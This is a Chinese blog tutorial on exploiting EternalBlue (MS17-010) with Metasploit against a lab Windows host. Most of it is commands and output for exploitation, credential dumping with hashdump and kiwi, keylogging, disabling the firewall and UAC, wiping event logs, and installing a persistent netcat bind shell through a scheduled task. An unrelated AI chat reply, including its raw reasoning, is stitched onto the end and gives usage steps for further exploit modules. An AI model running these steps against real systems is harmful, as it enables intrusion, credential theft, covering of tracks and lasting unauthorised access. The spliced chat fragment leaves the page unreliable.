MSF永恒之蓝漏洞利用详解[漏洞验证利用及后渗透]【详细版】

本文详细描述了如何利用永恒之蓝(SMBv1漏洞)进行漏洞扫描、msf工具中的漏洞验证、Meterpreter会话管理和后渗透技术,包括获取用户凭证、屏幕截图、键盘记录、防火墙配置更改以及设置持久性后门的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞原因

永恒之蓝利用了SMBv1的一个缺陷。SMB(Server Message Block)是一种在Windows环境中广泛使用的网络文件共享协议。这个漏洞允许未经授权的攻击者通过网络发送特制的数据包到目标系统,从而远程执行恶意代码

openvas漏洞扫描结果

 使用msf进行漏洞验证 

进入msf控制台 

进入msf控制台(不显示提示内容)
msfconsole -q

 查找漏洞脚本

搜索ms17-010漏洞脚本
msf6 > search ms17-010
Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution

选择辅助模块下的scanner扫描模块下的smb服务下的smb_ms17_010漏洞利用脚本

 进行漏洞验证

msf6 > use 3
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.10.129
rhost => 192.168.10.129
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+]192.168.10.129:445    - Host is likely VULNERABLE[脆弱的] to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*]192.168.10.129:445    - Scanned 1 of 1 hosts (100% complete)
[*]Auxiliary module execution completed

漏洞利用

使用漏洞利用模块下的windows模块下的smb服务下的ms17-010_eternalblue永恒之蓝漏洞脚本

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.10.129
rhost => 192.168.10.129
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Meterpreter session 1 opened (192.168.10.224:4444 -> 192.168.10.129:49162) at 2024-04-05 07:34:17 +0800
[+] 192.168.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter[载荷] > 

成功入侵目标并开启会话
192.168.10.224:4444 -> 192.168.10.129:49162

后渗透

获取目标主机用户凭证

获取目标密文密码
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:531b3ca954d0e442e64a5815b6794c32:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

kiwi模块获取明文密码
1.加载kiwi模块
meterpreter > load kiwi
2.获取所有系统凭证包含明文密码
meterpreter > creds_all

 对目标主机屏幕截图及监控

截取目标屏幕
meterpreter > screenshot
Screenshot saved to: /root/wZgTwEDm.jpeg
监控屏幕
meterpreter > screenshare

将当前进程进行迁移

meterpreter > ps -S explorer.exe [查看指定进程]
Filtering on 'explorer.exe'[系统管理员用户进程]:持久性较好

Process List
============

 PID   PPID  Name        Arch  Session  User              Path
 ---   ----  ----        ----  -------  ----              ----
 3060  2928  explorer.e  x64   1        WIN-5MQI51VLCDC\  C:\Windows\Explor
             xe                         Administrator     er.EXE
meterpreter > migrate 3060 [迁移到指定进程]
[*] Migrating from 1116 to 3060...
[*] Migration completed successfully.
meterpreter > getuid    [确认迁移结果]
Server username: WIN-5MQI51VLCDC\Administrator

 对目标主机进行键盘记录

执行后渗透模块下的windows模块下的捕获模块下的键盘记录器脚本
meterpreter > run post/windows/capture/keylog_recorder 

[*] Executing module against WIN-5MQI51VLCDC
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /root/.msf4/loot/20240405075518_default_192.168.10.129_host.windows.key_148128.txt
[记录文件路径]
[*] Recording keystrokes...

更改目标主机防火墙配置指定开启TCP444端口 

meterpreter > shell [通过Meterpreter获得了shell访问权限]
Process 784 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>chcp 65001 [更改字符集编码:解决乱码]
chcp 65001
Active code page: 65001

C:\Windows\system32> netsh advfirewall set allprofiles state off
通过netsh工具将Windows防火墙的所有配置文件(公共、私有、域)都设置为关闭状态
C:\Windows\system32> netsh advfirewall set allprofiles state on
打开防火墙
C:\Windows\system32> netsh firewall add portopening tcp 444 backdoor enable all
开启TCP协议的444端口,允许所有网络配置文件通过该端口进行通信,规则名称为backdoor

 禁用目标主机用户账户控制(UAC)组件

UAC的工作原理

UAC通过限制应用程序访问用户电脑上的重要部分来工作。当一个程序尝试执行可能会对系统安全性或配置产生影响的操作时,UAC会介入,阻止这一操作直至用户给予明确的授权。这意味着即使用户以管理员账户登录,应用程序和任务也会以限制的权限集运行,除非用户明确授权提升权限

禁用用户账户控制(UAC)
C:\Windows\system32>reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
The operation completed successfully.


命令解析
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

reg ADD: 这是Windows注册表编辑器命令行工具reg.exe的一个操作,用于添加一个新的注册表键值或更新现有的键值。

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System: 指定了注册表项的路径。这里,HKLM(HKEY_LOCAL_MACHINE)是顶级注册表项之一,包含了系统的配置信息。路径指向Windows系统的策略设置部分。

/v EnableLUA: /v参数后面跟随的是要操作的注册表值的名称,在这个例子中是EnableLUA。EnableLUA是控制用户账户控制(UAC)是否启用的注册表值。

/t REG_DWORD: /t参数指定了注册表值的类型,在这里是REG_DWORD,表示数据类型为32位数字。

/d 0: /d参数后面跟随的是要设置的数据值。0表示禁用UAC。

/f: 强制执行命令而不提示用户确认。

退出windows命令行终端并清除日志
C:\Windows\system32>exit
exit
meterpreter > clearev
[*] Wiping 505 records from Application...应用程序(Application)事件日志
[*] Wiping 2026 records from System...系统(System)事件日志
[*] Wiping 1190 records from Security...安全(Security)事件日志

设置持久型后门

简介

防止目标主机修补了漏洞后,无法通过系统漏洞侵入目标主机。植入后门并设置开机自启,攻击者可以通过后门444口远程控制目标主机

nc称为netcat,是一个非常强大的网络工具被称为“网络界的瑞士军刀”。主要用于读取和写入网络连接,支持TCP和UDP协议。nc的功能包括端口扫描、文件传输、网络服务测试、以及作为客户端或服务器在任意端口上监听。

上传后门程序到目标主机指定路径

meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32
[*] uploading  : /usr/share/windows-binaries/nc.exe -> c:\windows\system32
[*] uploaded   : /usr/share/windows-binaries/nc.exe -> c:\windows\system32\nc.exe
meterpreter > ls nc.exe
100777/rwxrwxrwx  59392  fil  2024-04-05 09:55:23 +0800  nc.exe

命令分解
upload:这是Meterpreter的一个命令,用于将文件从攻击者的系统上传到被控制系统的指定路径

/usr/share/windows-binaries/nc.exe:这是攻击者系统上的文件路径,指向nc.exe(即Netcat的Windows版本)。Netcat是一个功能强大的网络工具,可以用于监听端口、连接到服务、传输数据等

c:\\windows\\system32:这是目标Windows系统上的路径,其中包含重要的系统文件和程序。将文件上传到这个目录,可以使得上传的文件(在这个例子中是nc.exe)更容易被执行,因为system32目录通常包含在系统的PATH环境变量中。

ls nc.exe:查看文件具体情况

 设置计划任务目标系统开启时运行后门程序

meterpreter > shell
Process 2804 created.
Channel 4 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>chcp 65001 //解决乱码
chcp 65001
Active code page: 65001

C:\Windows\system32>schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
 schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
SUCCESS: The scheduled task "nc" has successfully been created.

命令解析
schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart

schtasks:Windows中用来创建、删除、查询或修改系统计划任务的命令行工具。

/create:schtasks命令创建一个新的计划任务。

/tn "nc":/tn参数后面指定的是任务的名称。

/ru system:这个参数指定任务将以何种用户身份运行。在这个例子中,/ru system意味着任务将以系统账户的权限运行,系统账户具有广泛的权限并且可以访问系统上的大多数资源。

/tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe":/tr参数后面跟随的是任务实际执行的命令或程序。这里指定的是执行nc.exe(Netcat),使用-Ldp 444选项在本地监听444端口,并且当连接建立时使用-e cmd.exe选项来执行命令提示符。

/sc onstart:参数定义了任务的调度周期。onstart表示任务会在每次系统启动时运行。
 

 重启靶机进行后门接入

──(root㉿kali)-[~]
└─# nc 192.168.10.129 444 //连接目标主机444端口
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\Windows\system32>

C:\Windows\system32>netstat -an \\当前机器上的网络连接和监听端口的清单
netstat -an

�����

  Э��  ���ص�          �ⲿ��        ״
  TCP    0.0.0.0:21             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:23             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:25             0.0.0.0:0              LISTENING
  TCP    192.168.10.129:444     192.168.10.224:37516   ESTABLISHED

<think>我们正在回答用户关于MetasploitFramework经典漏洞利用模块的问题,除了永恒之蓝(MS17-010)之外,用户希望了解其他经典模块。根据引用[2]和引用[3]的内容,我们可以知道Metasploit框架中的漏洞利用模块(exploits)是攻击流程的核心,而payloads、auxiliary等模块则配合使用。因此,我们可以列举一些历史上著名的漏洞利用模块,这些漏洞影响广泛,在Metasploit中也有对应的利用模块。注意:引用[1]提到永恒之蓝漏洞利用时可能出现蓝屏,说明漏洞利用的稳定性可能存在问题,但其他经典模块同样可能存在类似问题。下面列举几个经典漏洞利用模块:1.**CVE-2019-0708 (BlueKeep)**:这是一个影响Windows远程桌面服务(RDP)的严重漏洞,与永恒之蓝类似,可以在无需用户交互的情况下实现远程代码执行。Metasploit中提供了多个利用模块,例如`exploit/windows/rdp/cve_2019_0708_bluekeep_rce`。2.**CVE-2017-0143 (EternalRomance)**:这是SMB协议中的另一个漏洞,属于永恒系列漏洞之一,影响SMBv1。模块路径:`exploit/windows/smb/ms17_010_eternalromance`。3.**CVE-2014-0160 (Heartbleed)**:心脏滴血漏洞,影响OpenSSL。该漏洞允许攻击者读取受保护的内存内容,从而可能获取敏感信息(如私钥)。Metasploit中的模块:`auxiliary/scanner/ssl/openssl_heartbleed`(注意这是一个辅助模块,用于信息泄露,不是直接获取shell的利用模块,但后续可以结合获取的信息进行进一步攻击)。4.**CVE-2012-1823 (PHP-CGI漏洞)**:影响PHP的远程代码执行漏洞,模块路径:`exploit/multi/http/php_cgi_arg_injection`。5.**CVE-2010-3333 (Microsoft WordRTF栈溢出漏洞)**:通过恶意RTF文件实现远程代码执行,模块路径:`exploit/windows/fileformat/ms10_087_rtf_pfragments_bof`。6. **CVE-2008-4250 (MS08-067)**:这是另一个经典的WindowsSMB漏洞,在永恒之蓝之前被广泛利用。模块路径:`exploit/windows/smb/ms08_067_netapi`。7.**CVE-2017-8464 (LNK漏洞)**:通过恶意LNK文件实现远程代码执行,模块路径:`exploit/windows/fileformat/cve_2017_8464_lnk_rce`。8.**CVE-2019-19781 (CitrixADC/Netscaler漏洞)**:影响Citrix应用交付控制器和网关的漏洞,可导致远程代码执行。模块路径:`exploit/linux/http/citrix_dir_traversal_rce`。9.**CVE-2021-44228 (Log4Shell)**: Log4j2远程代码执行漏洞,影响广泛。模块路径:`exploit/multi/http/log4shell_header_injection`。10.**CVE-2020-1472 (ZeroLogon)**: Netlogon特权提升漏洞,允许攻击者获取域管理员权限。模块路径:`auxiliary/admin/dcerpc/cve_2020_1472_zerologon`(这是一个辅助模块,用于重置域控密码,然后配合其他攻击手段)。注意:以上漏洞利用模块在Metasploit中的路径可能会随着本更新而变化,使用时请先搜索确认。在回答中,我们按照漏洞的CVE编号和名称进行列举,并简要说明漏洞影响和模块路径。同时,我们根据引用[2]和[3]的内容,提醒用户Metasploit模块的分类(如exploit、auxiliary)以及使用注意事项。最后,我们生成相关问题。</think>### Metasploit Framework 经典漏洞利用模块(除永恒之蓝外) Metasploit Framework 包含大量经典漏洞利用模块,以下是影响力较大的案例及其技术原理: --- #### **1. CVE-2019-0708 (BlueKeep)** - **漏洞类型**:Windows 远程桌面服务(RDP)远程代码执行 - **危害**:无需用户交互即可获得SYSTEM权限 - **利用模块**: ```bash use exploit/windows/rdp/cve_2019_0708_bluekeep_rce set RHOSTS [目标IP] set PAYLOAD windows/x64/meterpreter/reverse_tcp exploit ``` - **技术特点**:通过畸形RDP协议数据触发内核级内存损坏[^2] - **影响范围**:Windows 7/2008 R2及更早系统 --- #### **2. CVE-2017-5638 (Apache Struts2)** - **漏洞类型**:OGNL表达式注入 - **危害**:通过HTTP头实现远程命令执行 - **利用模块**: ```bash use exploit/multi/http/struts2_content_type_ognl set RHOSTS [目标URL] set TARGETURI /login.action set CMD "whoami" # 直接执行系统命令 exploit ``` - **技术特点**:利用Content-Type头注入恶意OGNL表达式[^3] - **著名案例**:导致Equifax 1.43亿用户数据泄露 --- #### **3. CVE-2014-6271 (Shellshock)** - **漏洞类型**:Bash环境变量注入 - **危害**:通过CGI接口实现系统命令执行 - **利用模块**: ```bash use exploit/multi/http/apache_mod_cgi_bash_env_exec set RHOSTS [目标IP] set TARGETURI /cgi-bin/test.sh exploit ``` - **技术特点**:利用Bash解析函数定义时的代码执行缺陷 - **影响范围**:Unix/Linux系统(2014年影响全球5亿设备) --- #### **4. CVE-2012-1823 (PHP-CGI漏洞)** - **漏洞类型**:PHP-CGI参数注入 - **危害**:通过查询字符串执行系统命令 - **利用模块**: ```bash use exploit/multi/http/php_cgi_arg_injection set RHOSTS [目标IP] set TARGETURI /php-cgi exploit ``` - **技术特点**:利用`?-s`等参数直接暴露源码或执行命令[^2] --- #### **5. CVE-2021-44228 (Log4Shell)** - **漏洞类型**:Log4j JNDI注入 - **危害**:通过日志记录功能实现RCE - **利用模块**: ```bash use exploit/multi/http/log4shell_header_injection set RHOSTS [目标URL] set HTTP_HEADER "User-Agent" # 注入点 set SRVHOST [攻击机IP] exploit ``` - **技术特点**:利用${jndi:ldap://}协议加载远程恶意类 --- ### 漏洞利用模块分类 根据引用[2]的框架定义: 1. **远程利用(exploit)** - 如`exploit/unix/ftp/vsftpd_234_backdoor` 2. **客户端攻击** - 如`exploit/windows/browser/ms10_046_shortcut_icon_dllloader` 3. **辅助扫描(auxiliary)** - 如`auxiliary/scanner/http/tomcat_mgr_login` > **注**:所有利用需遵守法律授权,测试前务必确认目标系统合规性[^1]。 --- ### 相关问题 1. **如何防御BlueKeep漏洞攻击?** 2. **Metasploit中如何检测Apache Struts2漏洞?** 3. **Shellshock漏洞在现代系统中是否仍然有效?** 4. **Log4Shell漏洞利用需要哪些先决条件?**
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值